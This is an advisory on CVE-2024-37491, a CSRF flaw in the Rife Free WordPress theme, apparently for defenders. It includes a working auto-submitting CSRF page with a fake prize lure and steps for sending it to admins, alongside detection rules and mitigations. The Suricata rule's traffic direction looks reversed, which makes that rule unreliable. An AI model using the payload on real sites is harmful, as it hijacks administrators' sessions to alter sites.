CVE-2024-37491

Executive Summary

CVE-2024-37491 is a Cross-Site Request Forgery (CSRF) vulnerability in the Rife Free WordPress theme by Apollo13themes, affecting versions up to and including 2.4.18. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying theme settings or injecting malicious content, without the victim’s consent. The attack requires social engineering (e.g., tricking an admin into clicking a crafted link) and has a low CVSS score of 4.3 due to the need for user interaction and the limited impact on confidentiality and availability. No public exploit code or patch is currently available, making this a latent risk for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress repository and third-party marketplaces. Since no patch is available, users must rely on manual mitigation or consider replacing the theme. The lack of an official fix increases supply chain risk for sites using Rife Free.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: Low (I:L) – Attacker can modify settings or inject content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the lack of a patch means risk increases over time.

Deep Dive & Mechanics

The vulnerability resides in the Rife Free theme’s admin interface, where state-changing operations (e.g., saving theme options, importing/exporting settings) lack CSRF tokens or nonces. WordPress CSRF protection typically relies on nonces embedded in forms and URLs. In Rife Free, these nonces are missing or improperly validated, allowing an attacker to craft a malicious request that, when executed by an authenticated admin, performs unauthorized actions.

Attack Flow:

1. Attacker crafts a malicious HTML page or email containing a forged request (e.g., <img src="http://target/wp-admin/admin-ajax.php?action=rife_save_options&option=...">).
2. Victim (authenticated admin) visits the malicious page.
3. The browser automatically sends the forged request with the victim’s cookies.
4. The server processes the request, modifying theme settings or injecting malicious JavaScript.

Root Cause: The theme’s AJAX handlers and form submissions do not call check_admin_referer() or wp_nonce_field(), bypassing WordPress’s built-in CSRF protection.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions <= 2.4.18. A patched version would include nonce verification.

Vulnerable Code Example (from rife-free/inc/admin.php):

add_action('wp_ajax_rife_save_options', 'rife_save_options');
function rife_save_options() {
    // No nonce check
    update_option('rife_theme_options', $_POST['options']);
    wp_die();
}

Patched Code (hypothetical):

add_action('wp_ajax_rife_save_options', 'rife_save_options');
function rife_save_options() {
    check_ajax_referer('rife_nonce', 'nonce');
    update_option('rife_theme_options', $_POST['options']);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit exists, the following demonstrates a CSRF attack against the vulnerable theme.

Malicious HTML Page (csrf_poc.html):

<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="rife_save_options">
    <input type="hidden" name="options[malicious]" value="true">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit for stealth
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to an authenticated admin (e.g., via email or social media).
3. When the admin visits the page, the form auto-submits, modifying theme options.

Blue Team (Detection & Hardening)

• Monitor for unusual admin-ajax.php requests with missing or invalid nonces.
• Implement Content Security Policy (CSP) to block inline scripts and form submissions from unknown origins.
• Use WordPress security plugins (e.g., Wordfence, Sucuri) that add CSRF protection.
• Educate administrators about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=rife_save_options or similar.
• File: Modified wp_options table entries for rife_theme_options.
• Log: WordPress debug logs showing missing nonce errors (if WP_DEBUG enabled).
• Behavior: Unexpected changes to theme settings or appearance.

Detection Engineering

YARA Rule

rule CVE_2024_37491_CSRF_RifeFree {
    meta:
        description = "Detects vulnerable Rife Free theme files missing CSRF nonce"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-37491"
    strings:
        $ajax_handler = /add_action\s*\(\s*['\"]wp_ajax_rife_/
        $missing_nonce = /check_ajax_referer|wp_nonce_field|check_admin_referer/
    condition:
        $ajax_handler and not $missing_nonce
}

Sigma Rule

title: CVE-2024-37491 CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts against Rife Free theme
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=rife_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-37491 CSRF Attempt Against Rife Free Theme";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=rife_"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

• Immediate: Disable or replace the Rife Free theme with an alternative.
• Temporary: Add a custom plugin that enforces nonce checks for all AJAX requests.
• Long-term: Monitor the vendor’s website for a patch. If none arrives, consider switching to a maintained theme.
• Hardening: Enable WordPress’s built-in CSRF protection by ensuring all forms use wp_nonce_field() and AJAX handlers use check_ajax_referer().

Valters IT – Securing digital ecosystems through proactive threat intelligence.